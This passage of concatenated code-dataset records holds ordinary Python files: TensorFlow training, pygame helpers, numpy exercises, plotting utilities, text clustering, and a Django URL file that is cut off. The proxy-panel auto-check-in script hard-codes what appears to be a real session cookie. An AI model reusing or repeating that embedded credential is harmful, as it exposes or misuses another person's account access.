tf.train.MomentumOptimizer(0.001,0.9).minimize(loss)\n#training = tf.train.AdamOptimizer(0.001).minimize(loss)\n\n# Step 3\nwith tf.Session() as sess:\n var_initialized = tf.global_variables_initializer()\n sess.run(var_initialized)\n # output current value\n print(\"current w1 is \\n\",sess.run(w1))\n print(\"current w2 is \\n\",sess.run(w2))\n print(\"\\n\")\n #training\n STEPS = 3000\n for i in range(STEPS):\n start = (i*BATCH_SIZE) % 32\n end = start + BATCH_SIZE\n sess.run(training, feed_dict={x: X[start:end], y_: Y_[start:end]})\n if i % 500 == 0:\n total_loss = sess.run(loss, feed_dict={x: X, y_: Y_})\n print(\"After %d training step(s), loss_mse on all data is %g\" % (i, total_loss))\n # w1,w2 after training\n print(\"\\n\")\n print(\"w1 after training is: \\n\", sess.run(w1))\n print(\"w2 after training is: \\n\",sess.run(w2))","sub_path":"SimpleNN.py","file_name":"SimpleNN.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"544577537","text":"#-------------------------------------------------------------------------------\n# Name: pygametools.py\n# Purpose: This module will hold different tools that I have made to improve\n# the rate of development of pygame programs\n#\n# Author: James\n#\n# Created: 18/06/2014\n# Copyright: (c) James 2014\n# Licence: \n#-------------------------------------------------------------------------------\n#!/usr/bin/env python\n\nimport pygame, sys\n\nclass Button(pygame.sprite.Sprite):\n def __init__(self, type_of_button, fileortext, position, midpoint = False, resize = False,fontsize = 36,surface = None):\n \"\"\"This class will help make quick buttons for use with pygame.\n If 0 is passed into type of button a text button will be made and if a\n 1 is passed a picture button will be made. The fileortext variable will\n hold the file name for a picture button or the text to be displayed for\n a text button. The position variable is the (x,y) location of the button.\n If midpoint = True the (x,y) position is the midpoint position rather than\n the top left pixel\"\"\"\n pygame.sprite.Sprite.__init__(self)\n pygame.font.init()\n basicfont = pygame.font.Font(None,fontsize)\n\n #Create a text button\n if type_of_button == 0:\n\n # Create the text surface and find the size and midpoint of that surface\n self.text = basicfont.render(fileortext,0,(1,1,1))\n self.textsize = self.text.get_size()\n self.textmidp = (int(self.textsize[0] * 0.5),int(self.textsize[1] * 0.5))\n\n # Create the background box\n self.image = pygame.Surface((int(self.textsize[0] * 1.25),int(self.textsize[1] * 1.429)))\n self.imagesize = self.image.get_size()\n self.imagemidp = (int(self.imagesize[0] * 0.5),int(self.imagesize[1] * 0.5))\n self.image.fill((67,110,238))\n\n # Center the text at the center of the box\n self.image.blit(self.text,(self.imagemidp[0]-self.textmidp[0],self.imagemidp[1]-self.textmidp[1]))\n\n # Create a picture button\n elif type_of_button == 1:\n self.image = pygame.image.load(fileortext)\n # Change the size of the picture if necessary\n if resize:\n self.image = pygame.transform.scale(self.image,resize)\n self.imagemidp = (int(self.image.get_width() * 0.5), int(self.image.get_height() * 0.5))\n\n # if a midpoint arguement is passed set the pos to the top left pixel\n # such that the position passed in is in the middle of the button\n if midpoint:\n self.pos = (position[0] - self.imagemidp[0], position[1] - self.imagemidp[1])\n else:\n self.pos = position\n\n # set the rectangle to be used for collision detection\n self.rect = pygame.Rect(self.pos,self.image.get_size())\n\n # Set up the information that is needed to blit the image to the surface\n self.blitinfo = (self.image, self.pos)\n\n # automatically blit the button onto an input surface\n if surface:\n surface.blit(*self.blitinfo)\n\n\nclass Linesoftext(object):\n def __init__(self,text,position,xmid = False,fontsize = 36,backgroundcolor = (200,200,200),surface = None):\n \"\"\"This object will create an image of text that is passed in as a list\n of strings. It will put a new line for each element in the list. Use its\n image attribute to put this text on your screen\"\"\"\n pygame.font.init()\n basicfont = pygame.font.Font(None,fontsize)\n\n # Figure out the size of the image that will be drawn on and create that\n # image\n self.linewidths = []\n for x in text:\n self.texttemp = basicfont.render(x,0,(1,1,1))\n self.linewidths.append(self.texttemp.get_width())\n self.imagewidth = basicfont.render(text[self.linewidths.index(max(self.linewidths))],0,(1,1,1)).get_width()\n self.imageheight = len(text) * fontsize + (len(text)-1) * 10\n self.image = pygame.Surface((self.imagewidth,self.imageheight))\n self.image.fill(backgroundcolor)\n\n # Draw the text to the image\n n = 0\n for x in text:\n self.texttemp = basicfont.render(x,0,(1,1,1))\n self.image.blit(self.texttemp,(0,n * fontsize + n * 10))\n n +=1\n\n # Set the position of the text. If xmid is passed in as true set the\n # pos to the top middle pixel of the text\n if xmid:\n self.pos = (position[0] - int(self.image.get_width() / 2),position[1])\n else:\n self.pos = position\n\n # Set up the information that will be needed to blit the image to a\n # surface\n self.blitinfo = (self.image, self.pos)\n\n # automatically blit the text onto an input surface\n if surface:\n surface.blit(*self.blitinfo)\n\n def test(self,windowsize = False):\n \"\"\"This can be used to quickly test the spacing of the words. If you want\n to test how the text looks with a specific window you can pass in a\n (width,height) into windowsize\"\"\"\n\n # set up a specific window to test the text in\n if windowsize:\n self.screen = pygame.display.set_mode(windowsize)\n self.screen.fill((200,200,200))\n self.screen.blit(*self.blitinfo)\n\n # if no specific window is specified create a small one around the\n # outside of the text\n else:\n self.screen = pygame.display.set_mode((self.imagewidth + 20,self.imageheight + 20))\n self.screen.fill((200,200,200))\n self.screen.blit(self.image, (10,10))\n\n pygame.display.flip()\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n","sub_path":"General Python/Guessing_game_with_gui/pygametools.py","file_name":"pygametools.py","file_ext":"py","file_size_in_byte":5935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"421783603","text":"import numpy as np\nfrom numpy import nan\n\ndef cau1():\n #Thay thế tất cả các phần tử trong một mảng có giá trị lớn hơn 30 thành 30 và dưới 10 thành 10.\n #input: [28. 15. 22. 42. 1. 7. 34. 41. 8. 29.]\n #output: [28. 15. 22. 30. 10. 10. 30. 30. 10. 29.]\n x=np.array([28., 15., 22., 42., 1., 7., 34., 41., 8., 29.])\n out=np.where(x<10 ,10,x)\n out=np.where(out>30,30,out)\n print(out)\n#cau1()\ndef cau2():\n #Lấy vị trí của 3 giá trị lớn nhất trong một mảng numpy\n #input: [28. 15. 22. 42. 1. 7. 34. 41. 8. 29.]\n #output: [6 7 3]\n data=np.array([28. ,15. ,22. ,42. ,1. ,7. ,34. ,41. , 8. ,29.])\n res=np.argsort(data)\n print(res[-3:])\n#cau2()\ndef cau3():\n #input: [array([0, 1, 2]) array([3, 4, 5, 6]) array([7, 8, 9])]\n #output: [0 1 2 3 4 5 6 7 8 9]\n x=np.array([0, 1, 2])\n y=np.array([3, 4, 5, 6])\n z=np.array([7, 8, 9])\n #c1\n out=np.concatenate([x,y,z],axis=0)\n print(out)\n #c2\n out1=np.hstack([x,y,z])\n print(out1)\n #c3\n out2=np.r_[x,y,z]\n print(out2)\n\n#cau3()\ndef cau4():\n #Tạo one-hot encoding cho một mảng numpy.\n# One-hot encoding nhằm chuyển đổi mỗi giá trị (số nguyên) n\n# thành một vector v mà vị trí thứ n trong vector v mang giá trị 1 và\n# tất cả vị trí khác đều mang giá trị 0.\n#[2 1 3 3 1 2]\n#output: array([[0., 1., 0.],\n #[1., 0., 0.],\n #[0., 0., 1.],\n #[0., 0., 1.],\n #[1., 0., 0.],\n #[0., 1., 0.]])\n input=np.array([2 ,1 ,3 ,3 ,1 ,2])\n x=input.max()\n y=input.size\n res=np.zeros((y,x),dtype=float)\n for i in range(y):\n res[i,input[i]-1]=1\n print(res)\n#cau4()\ndef cau5():\n # Sắp xếp các phần tử trong một mảng 1 chiều\n#\n# input: [3 6 4 8]\n# output: [3 4 6 8]\n x=np.array([3,6,4,8])\n x.sort()\n print(x)\n#cau5()\ndef cau6():\n #Tìm giá trị lớn nhất trong mỗi hàng và mỗi cột của một mảng 2d\n#input\n#[[5 1 7]\n #[3 5 2]\n #[6 4 5]]\n#output\n#Max by column\n#[6 5 7]\n#Max by row\n#[7 5 6]\n x=np.array([[5,1 ,7],\n [3, 5, 2],\n [6, 4, 5]])\n col=x.max(axis=0)\n row=x.max(axis=1)\n print(col)\n print(row)\n#cau6()\ndef cau7():\n #Tìm các phần tử trùng lặp (lần xuất hiện thứ 2 trở đi) trong mảng đã cho\n#và đánh dấu chúng là True. Lần đầu tiên xuất hiện là False.\n\n#[0 3 3 1 2 0 2 0]\n#[False False True False False True True True]\n x=np.array([0 ,3, 3, 1, 2, 2 ])\n res=np.ones(x.shape[0],dtype=bool)\n z=np.unique(x)#0 1 2 3\n for i in range(x.shape[0]):\n if x[i] in z:\n index=np.argwhere(x[i]==z)\n res[i]=False\n z=np.delete(z,index)\n print(res)\n\ncau7()\ndef cau8():\n #Trừ theo dòng mảng 2 chiều arr2d bằng mảng 1 chiều arr1d\n arr2d = np.array([\n [3, 3, 3],\n [4, 4, 4],\n [5, 5, 5]\n ])\n\n arr1d = np.array([1, 1, 1])\n res=arr2d-arr1d\n print(res)\n#cau8()\ndef cau9():\n #Bỏ tất cả các giá trị nan từ một mảng numpy\n x=np.array([1., 2., 3.,nan, 5., 6., 7., nan])\n\n index=np.where(np.isnan(x))\n x=np.delete(x,index)\n print(x)\n#cau9()\ndef cau10():\n #Lấy tất cả vị trí nơi các phần tử có giá trị khác nhau\n# input\n# arr1: [3 4 5 6 7 8]\n# arr2: [3 3 6 6 7 7]\n# output\n# [1, 2, 5]\n arr1=np.array([3,4,5,6,7,8])\n arr2=np.array([3,3,6,6,7,7])\n index=np.where(arr1!=arr2)[0]\n print(index)\n#cau10()","sub_path":"week5/Numpy_exercies.py","file_name":"Numpy_exercies.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"458555094","text":"import os\nimport requests\n\ntext = input(\"Text to Translate: \")\n\ntext = text.lower()\ntext = text.replace(\"l\", \"w\")\ntext = text.replace(\"r\", \"w\")\n\ntext = text.replace(\"uwu\", \"euuw woo\")\ntext = text.replace(\"owo\", \"oh woaw\")\n\nprint(text)\n\ninfo = {\n \"text\": f\"{text}\",\n \"character\": \"Fluttershy\",\n \"emotion\": \"Neutral\"\n}\n\nurl = \"https://api.fifteen.ai/app/getAudioFile\"\n\nresponse = requests.post(url, data=info, timeout=120.0)\n\nprint(response.status_code)\n\nf = open(\"uwu.wav\", 'wb')\nf.write(response.content)\nf.close()\n","sub_path":"uwu_translator.py","file_name":"uwu_translator.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"563260363","text":"#number_one = int(input(\"enter first number: \"))\n#number_two = int(input(\"enter second number: \"))\n#total = number_one + number_two\n#print(\"total is \" + str(total))\n\n# string 4 ---> \"4\" | int \"4\" --> 4 | float \"4\" --> 4.0\nnum1 = str(4)\nnum2 = float(\"44\")\nnum3 = int(\"33\")\nprint(num2+num3)\n#print(num1+num2) # can't add string and float\n#print(num3+num1) # can't add integer(Number) and string","sub_path":"int_func.py","file_name":"int_func.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"432871105","text":"#!/usr/bin/python\n\nfrom time import strftime,gmtime\nimport time\n\n'''Dataset object definition\n and common functions to \n manipulate Datasets'''\n\n# genesis=int(time.mktime(time.strptime(\"2014-09-01\",\"%Y-%m-%d\")))\ngenesis=1378008000\n\nclass Dataset(object):\n siteList = []\n \"\"\"Object containing relevant dataset properties\"\"\"\n def __init__(self, name):\n self.name = name\n self.nFiles = -1\n self.sizeGB = -1\n self.nAccesses = {}\n self.movement = {}\n self.cTime = genesis\n self.nSites = -1\n self.currentSites = set([])\n self.transfersOntoCSites = {}\n self.isDeleted = None\n def addCurrentSite(self,siteName,timeStart=-1,timeComplete=-1):\n self.currentSites.add(siteName)\n if int(timeStart)>0:\n self.transfersOntoCSites[siteName] = (int(timeStart),int(timeComplete))\n def setSiteMovement(self, siteName,movement):\n self.movement[siteName] = movement\n def addTransfer(self,siteName,t):\n if siteName not in self.movement:\n self.movement[siteName] = ([],[])\n self.movement[siteName][0].append(t)\n def addDeletion(self,siteName,t):\n if siteName not in self.movement:\n self.movement[siteName] = ([],[])\n self.movement[siteName][1].append(t)\n def addAccesses(self,siteName,n,utime=0):\n if n==0:\n return\n if siteName not in self.nAccesses:\n self.nAccesses[siteName]={}\n siteAccess = self.nAccesses[siteName]\n if utime not in siteAccess:\n siteAccess[utime] = 0\n siteAccess[utime]+=n\n def __str__(self):\n s = \"================================================\\n\"\n s += self.name\n s += \"\\n\\t nFiles = %i\"%(self.nFiles)\n s += \"\\t sizeGB = %.2f\"%(self.sizeGB)\n s += \"\\t cTime = %s\\n\"%(strftime(\"%Y-%m-%d\",gmtime(self.cTime)))\n s += \"\\t Current sites =\"\n for siteName in self.currentSites:\n s += \" %s\"%(siteName)\n s += \"\\n\"\n s += \"\\t Site History =\\n\"\n for siteName,m in self.movement.iteritems():\n s+=\"\\t %s %s\\n\"%(siteName,str(m))\n s += \"================================================\\n\"\n return s\n def getTotalAccesses(self,start=-1,end=-1):\n if start==-1 and end==-1:\n r=0\n for siteName,accessesByTime in self.nAccesses.iteritems():\n for utime in accessesByTime:\n r += accessesByTime[utime]\n return r\n else:\n r=0\n for siteName,accessesByTime in self.nAccesses.iteritems():\n for utime in accessesByTime:\n if utime < end and utime > start:\n r += accessesByTime[utime]\n return r\n def fixXrootd(self):\n # fix access history to account for xrootd accesses\n nXrootdAccesses = []\n realSites = []\n for siteName in self.siteList:\n if siteName not in self.movement:\n if siteName in self.nAccesses:\n # dataset was never put on this site (already accounted for datasets created at sites)\n for utime,accesses in self.nAccesses[siteName].iteritems():\n nXrootdAccesses.append((utime,accesses))\n del self.nAccesses[siteName]\n else:\n realSites.append(siteName)\n nRealSites = len(realSites)\n for siteName in realSites:\n # evenly distribute xrootd sites among sites on which the dataset exists\n for utime,n in nXrootdAccesses:\n self.addAccesses(siteName,float(n)/nRealSites,utime)\n\n\ndef updateByKey(d1,d2):\n # update d1 with k:v from d2 if k not in d1\n for k,v in d2.iteritems():\n if k not in d1:\n d1[k] = v\n\ndef removeByKey(d1,s):\n for ss in s:\n try:\n del d1[ss]\n except KeyError:\n pass\n\n","sub_path":"Monitor/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"292332317","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 7 00:32:44 2019\n\n@author: evangelos\n\"\"\"\n\nfrom ccpi.framework import ImageGeometry\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\n\ndef channel_to_energy(channel):\n # Convert from channel number to energy using calibration linear fit\n m = 0.2786\n c = 0.8575\n # Add on the offset due to using a restricted number of channel (varies based on user choice)\n shifted_channel = channel + 100\n energy = (shifted_channel * m) + c\n energy = format(energy,\".3f\")\n return energy\n\n\ndef show2D(x, title='', **kwargs):\n \n cmap = kwargs.get('cmap', 'gray')\n font_size = kwargs.get('font_size', [12, 12])\n minmax = (kwargs.get('minmax', (x.as_array().min(),x.as_array().max())))\n \n # get numpy array\n tmp = x.as_array()\n \n # labels for x, y \n labels = kwargs.get('labels', ['x','y']) \n \n \n # defautl figure_size\n figure_size = kwargs.get('figure_size', (10,5)) \n \n # show 2D via plt\n fig, ax = plt.subplots(figsize = figure_size) \n im = ax.imshow(tmp, cmap = cmap, vmin=min(minmax), vmax=max(minmax))\n ax.set_title(title, fontsize = font_size[0])\n ax.set_xlabel(labels[0], fontsize = font_size[1])\n ax.set_ylabel(labels[1], fontsize = font_size[1]) \n divider = make_axes_locatable(ax) \n cax1 = divider.append_axes(\"right\", size=\"5%\", pad=0.1) \n fig.colorbar(im, ax=ax, cax = cax1) \n \n\n \n \ndef show3D(x, title , **kwargs):\n \n # show slices for 3D\n show_slices = kwargs.get('show_slices', [int(i/2) for i in x.shape])\n \n # defautl figure_size\n figure_size = kwargs.get('figure_size', (10,5)) \n \n # font size of title and labels\n cmap = kwargs.get('cmap', 'gray')\n font_size = kwargs.get('font_size', [12, 12])\n\n # Default minmax scaling\n minmax = (kwargs.get('minmax', (x.as_array().min(),x.as_array().max())))\n \n labels = kwargs.get('labels', ['x','y','z']) \n \n title_subplot = kwargs.get('title_subplot',['Axial','Coronal','Sagittal'])\n\n fig, axs = plt.subplots(1, 3, figsize = figure_size)\n \n tmp = x.as_array()\n \n im1 = axs[0].imshow(tmp[show_slices[0],:,:], cmap=cmap, vmin=min(minmax), vmax=max(minmax))\n axs[0].set_title(title_subplot[0], fontsize = font_size[0])\n axs[0].set_xlabel(labels[0], fontsize = font_size[1])\n axs[0].set_ylabel(labels[1], fontsize = font_size[1])\n divider = make_axes_locatable(axs[0]) \n cax1 = divider.append_axes(\"right\", size=\"5%\", pad=0.1) \n fig.colorbar(im1, ax=axs[0], cax = cax1) \n \n im2 = axs[1].imshow(tmp[:,show_slices[1],:], cmap=cmap, vmin=min(minmax), vmax=max(minmax))\n axs[1].set_title(title_subplot[1], fontsize = font_size[0])\n axs[1].set_xlabel(labels[0], fontsize = font_size[1])\n axs[1].set_ylabel(labels[2], fontsize = font_size[1])\n divider = make_axes_locatable(axs[1]) \n cax1 = divider.append_axes(\"right\", size=\"5%\", pad=0.1) \n fig.colorbar(im2, ax=axs[1], cax = cax1) \n\n im3 = axs[2].imshow(tmp[:,:,show_slices[2]], cmap=cmap, vmin=min(minmax), vmax=max(minmax))\n axs[2].set_title(title_subplot[2], fontsize = font_size[0]) \n axs[2].set_xlabel(labels[1], fontsize = font_size[1])\n axs[2].set_ylabel(labels[2], fontsize = font_size[1])\n divider = make_axes_locatable(axs[2]) \n cax1 = divider.append_axes(\"right\", size=\"5%\", pad=0.1) \n fig.colorbar(im3, ax=axs[2], cax = cax1) \n \n fig.suptitle(title, fontsize = font_size[0])\n plt.tight_layout(h_pad=1)\n \n \ndef show2D_channels(x, title, show_channels = [1], **kwargs):\n \n # defautl figure_size\n figure_size = kwargs.get('figure_size', (10,5)) \n \n # font size of title and labels\n cmap = kwargs.get('cmap', 'gray')\n font_size = kwargs.get('font_size', [12, 12])\n \n labels = kwargs.get('labels', ['x','y'])\n\n # Default minmax scaling\n minmax = (kwargs.get('minmax', (x.as_array().min(),x.as_array().max()))) \n \n if len(show_channels)==1:\n show2D(x.subset(channel=show_channels[0]), title + ' Energy {}'.format(channel_to_energy(show_channels[0])) + \" keV\", **kwargs) \n else:\n \n fig, axs = plt.subplots(1, len(show_channels), sharey=True, figsize = figure_size) \n \n for i in range(len(show_channels)):\n im = axs[i].imshow(x.subset(channel=show_channels[i]).as_array(), cmap = cmap, vmin=min(minmax), vmax=max(minmax))\n axs[i].set_title('Energy {}'.format(channel_to_energy(show_channels[i])) + \"keV\", fontsize = font_size[0])\n axs[i].set_xlabel(labels[0], fontsize = font_size[1])\n divider = make_axes_locatable(axs[i])\n cax1 = divider.append_axes(\"right\", size=\"5%\", pad=0.1) \n fig.colorbar(im, ax=axs[i], cax = cax1)\n axs[0].set_ylabel(labels[1], fontsize = font_size[1]) \n fig.suptitle(title, fontsize = font_size[0])\n plt.tight_layout(h_pad=1)\n \ndef show3D_channels(x, title = None, show_channels = 0, **kwargs):\n \n show3D(x.subset(channel=show_channels), title + ' Energy {}'.format(channel_to_energy(show_channels)) + \" keV\", **kwargs) \n \ndef show(x, title = None, show_channels = [1], **kwargs):\n \n sz = len(x.shape)\n ch_num = x.geometry.channels\n \n if ch_num == 1:\n \n if sz == 2:\n show2D(x, title, **kwargs)\n elif sz == 3:\n show3D(x, title, **kwargs)\n \n elif ch_num>1:\n \n if len(x.shape[1:]) == 2:\n show2D_channels(x, title, show_channels, **kwargs)\n \n elif len(x.shape[1:]) == 3:\n show3D_channels(x, title, show_channels, **kwargs) \n \n \n \nfrom IPython.display import HTML\nimport random\n\n# https://stackoverflow.com/questions/31517194/how-to-hide-one-specific-cell-input-or-output-in-ipython-notebook/52664156\n\ndef hide_toggle(for_next=False):\n this_cell = \"\"\"$('div.cell.code_cell.rendered.selected')\"\"\"\n next_cell = this_cell + '.next()'\n\n toggle_text = 'Toggle show/hide' # text shown on toggle link\n target_cell = this_cell # target cell to control with toggle\n js_hide_current = '' # bit of JS to permanently hide code in current cell (only when toggling next cell)\n\n if for_next:\n target_cell = next_cell\n toggle_text += ' next cell'\n js_hide_current = this_cell + '.find(\"div.input\").hide();'\n\n js_f_name = 'code_toggle_{}'.format(str(random.randint(1,2**64)))\n\n html = \"\"\"\n \n\n {toggle_text}\n \"\"\".format(\n f_name=js_f_name,\n cell_selector=target_cell,\n js_hide_current=js_hide_current, \n toggle_text=toggle_text\n )\n\n return HTML(html) \n \nif __name__ == '__main__': \n \n from ccpi.framework import TestData, ImageData\n import os\n import sys\n \n loader = TestData(data_dir=os.path.join(sys.prefix, 'share','ccpi'))\n data = loader.load(TestData.PEPPERS, size=(256,256))\n ig = data.geometry\n \n show2D(data)\n \n if False:\n \n N = 100\n ig2D = ImageGeometry(voxel_num_x=N, voxel_num_y=N)\n ig3D = ImageGeometry(voxel_num_x=N, voxel_num_y=N, voxel_num_z=N)\n \n ch_number = 10\n ig2D_ch = ImageGeometry(voxel_num_x=N, voxel_num_y=N, channels = ch_number)\n ig3D_ch = ImageGeometry(voxel_num_x=N, voxel_num_y=N, voxel_num_z=N, channels = ch_number)\n \n x2D = ig2D.allocate('random_int')\n x2D_ch = ig2D_ch.allocate('random_int')\n x3D = ig3D.allocate('random_int')\n x3D_ch = ig3D_ch.allocate('random_int') \n \n #%%\n ############################################################################### \n # test 2D cases\n show(x2D)\n show(x2D, title = '2D no font')\n show(x2D, title = '2D with font', font_size = (50, 30))\n show(x2D, title = '2D with font/fig_size', font_size = (20, 10), figure_size = (10,10))\n show(x2D, title = '2D with font/fig_size', \n font_size = (20, 10), \n figure_size = (10,10),\n labels = ['xxx','yyy'])\n ###############################################################################\n \n \n #%%\n ###############################################################################\n # test 3D cases\n show(x3D)\n show(x3D, title = '2D no font')\n show(x3D, title = '2D with font', font_size = (50, 30))\n show(x3D, title = '2D with font/fig_size', font_size = (20, 20), figure_size = (10,4))\n show(x3D, title = '2D with font/fig_size', \n font_size = (20, 10), \n figure_size = (10,4),\n labels = ['xxx','yyy','zzz'])\n ###############################################################################\n #%%\n \n ###############################################################################\n # test 2D case + channel\n show(x2D_ch, show_channels = [1, 2, 5])\n \n ###############################################################################\n \n ","sub_path":"training/2019_SynergisticSymposium/utilities/show_utilities.py","file_name":"show_utilities.py","file_ext":"py","file_size_in_byte":9505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"307942934","text":"import pandas as pd\nimport jieba\nfrom pylab import mpl\nfrom collections import Counter\n\nfrom scipy.cluster.hierarchy import ward, dendrogram\nfrom sklearn import metrics\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom tool.myTextRank import myTextRank\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\nimport matplotlib.pyplot as plt\n\n\ndef label2rank(labels_list):\n series = pd.Series(labels_list)\n list1 = series[series != -1].tolist()\n n = len(set(list1))\n cnt = Counter(list1)\n key = [cnt.most_common()[i][0] for i in range(n)]\n value = [i for i in range(1, n + 1)]\n my_dict = dict(zip(key, value))\n my_dict[-1] = -1\n rank_list = [my_dict[i] for i in labels_list]\n return rank_list\n\n\ndef feature_reduction(matrix, pca_n_components=50, tsne_n_components=2):\n data_pca = PCA(n_components=pca_n_components).fit_transform(matrix) if pca_n_components is not None else matrix\n data_pca_tsne = TSNE(n_components=tsne_n_components).fit_transform(\n data_pca) if tsne_n_components is not None else data_pca\n print('data_pca_tsne.shape=', data_pca_tsne.shape)\n return data_pca_tsne\n\n\ndef func(num):\n mpl.rcParams['font.sans-serif'] = ['SimHei']\n datapd = pd.read_csv('example_data.csv', encoding='utf-8')\n all_words = \"\"\n\n for line in datapd['content']:\n line = str(line)\n seg_list = myTextRank(line, False, 20)\n cut_words = (\" \".join(seg_list))\n all_words += cut_words\n all_words = all_words.split()\n\n c = Counter()\n for x in all_words:\n if len(x) > 1 and x != '\\r\\n':\n c[x] += 1\n\n top_word = []\n for (k, v) in c.most_common(200):\n print(\"%s:%d\" % (k, v))\n top_word.append(k)\n\n cut_words = \"\"\n f = open('key.txt', 'w', encoding='utf-8')\n datapd = pd.read_csv('example_data.csv', encoding='utf-8')\n for line in datapd['content']:\n line = str(line)\n seg_list = jieba.cut(line, cut_all=False)\n final = \"\"\n for seg in seg_list:\n if seg in top_word:\n final += seg + \" \"\n cut_words += final\n f.write(final + \"\\n\")\n print('cut_words', cut_words)\n f.close()\n text = open('key.txt', encoding='utf-8').read()\n list1 = text.split(\"\\n\")\n count_vec = CountVectorizer(min_df=3)\n xx1 = count_vec.fit_transform(list1).toarray()\n df = pd.DataFrame(xx1)\n\n dist = df.corr()\n linkage_matrix = ward(dist)\n fig, ax = plt.subplots(figsize=(15, 20)) # set size\n ax = dendrogram(linkage_matrix, orientation=\"right\", labels=count_vec.get_feature_names() );\n plt.tight_layout()\n plt.savefig('层次聚类树图.png', dpi=200)\n\n ac = AgglomerativeClustering(n_clusters=num, affinity='euclidean', linkage='ward')\n ac.fit(xx1)\n\n labels = ac.fit_predict(xx1)\n\n\n plt.scatter(xx1[:, 0], xx1[:, 1], c=labels)\n plt.show()\n\n score0 = metrics.calinski_harabasz_score(xx1, labels) # CH分数\n print(score0)\n score1 = metrics.silhouette_score(xx1, labels) # 计算轮廓系数\n print()\n score2 = metrics.davies_bouldin_score(xx1, labels) # 戴维森堡丁指数(DBI)\n print(metrics.davies_bouldin_score(xx1, labels))\n\n labels = ac.labels_\n df['label'] = labels\n ranks = label2rank(labels)\n df['rank'] = ranks\n print(df.head())\n\n df['matrix'] = xx1.tolist()\n\n df_non_outliers = df[df['label'] != -1].copy()\n\n data_pca_tsne = feature_reduction(df_non_outliers['matrix'].tolist(), pca_n_components=3, tsne_n_components=2)\n\n plt.rcParams['font.family'] = ['sans-serif']\n plt.rcParams['font.sans-serif'] = ['SimHei']\n plt.rcParams['axes.unicode_minus'] = False\n\n data_pca_tsne = data_pca_tsne.tolist()\n label = df_non_outliers['label']\n\n plt.figure()\n x = [i[0] for i in data_pca_tsne]\n y = [i[1] for i in data_pca_tsne]\n plt.scatter(x, y, c=label)\n plt.savefig('层次PCA.jpg')\n plt.show()\n\n return [score0, score1, score2]\n\n\nif __name__ == \"__main__\":\n # SOPMI_data = []\n # file = open('类数.txt', 'a+', encoding='utf-8')\n # for i in range(2, 10):\n # SOPMI_data = func(i)\n # file.write(str(i) + \" \" + str(SOPMI_data[0]) + \" \" + str(SOPMI_data[1]) + \" \" + str(SOPMI_data[2]))\n func(3)\n","sub_path":"src/3_Analysis/Clustering/层次/层次聚类.py","file_name":"层次聚类.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"254002806","text":"# -*- coding:utf-8 -*- #\n#!/usr/bin/env python3\n\nfrom urllib import request, parse\nimport gzip\nUA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36'\nmycookie = '__cfduid=d153c0bc92db181d19b6b324c3f4608011444920557; u2=5459a00bae846eeee64ed0764be95dbf; CNZZDATA1254027205=1637341038-1444915444-%7C1445165802'\n\ndef ungzip(data):\n try:\n# 尝试解压\n print('正在解压.....')\n data = gzip.decompress(data)\n print('解压完毕!')\n except:\n print('未经压缩, 无需解压')\n return data\n\ndef sign(host = 'www.miaoss.net',UA = None,mycookie = None):\n url = 'http://' + host + '/api.php?cmd=gift500mb'\n req = request.Request(url)\n req.add_header('User-Agent', UA)\n req.add_header('Cookie',mycookie)\n req.add_header('Host',host)\n req.add_header('Referer','http://' + host + '/panel.php')\n req.add_header('X-Requested-With','XMLHttpRequest')\n req.add_header('Connection','keep-alive')\n req.add_header('Accept','*/*')\n req.add_header('Accept-Encoding','gzip,deflate, sdch')\n req.add_header('Accept-Language','zh-CN,zh;q=0.8')\n with request.urlopen(req) as f:\n f = ungzip(f.read())\n print(f.decode()+\"\\n主人，已经为您完成签到了\")\nif __name__ == \"__main__\":\n sign('www.miaoss.net',UA,mycookie)\n","sub_path":"sspanel_autosign.py","file_name":"sspanel_autosign.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"157016776","text":"# coding=utf-8\n\n# -*- coding: utf-8 -*-\n# Copyright (c) 2014, Ing. Rainer Segura Peña\n# All rights reserved.\n\nfrom django.conf.urls import patterns, include\n\n#from translate.misc.xml_helpers import namespaced\nfrom django.views.generic.base import RedirectView\n\nfrom src import url\n\njs_info_dict = {\n 'packages': ('src.vendor',\n 'src.vendor.apps.accounts',\n 'src.apps.inventory',\n 'src.apps.incidence',\n 'src.apps.action',\n 'src.apps.traces',\n 'src.apps.agent',\n 'src.apps.configuration'\n ),\n}\n\nurlpatterns = patterns(\n '',\n #url(r'^$',\n # lr(TemplateView.as_view(\n # template_name='gadmin/base.html')),\n # name='index'),\n url(r'^login/$', 'src.vendor.views.log_on', name='log_on'),\n url(r'^$', RedirectView.as_view(url='/gadmin/login')),\n url(r'^i18n/setlang/$', \"src.vendor.views.set_language\", name=\"setlan\"),\n url(r'^jsi18n/$', 'django.views.i18n.javascript_catalog', js_info_dict,\n name=\"javascript_catalog\"),\n\n url(r'^accounts/',\n include('src.vendor.apps.accounts.urls',\n 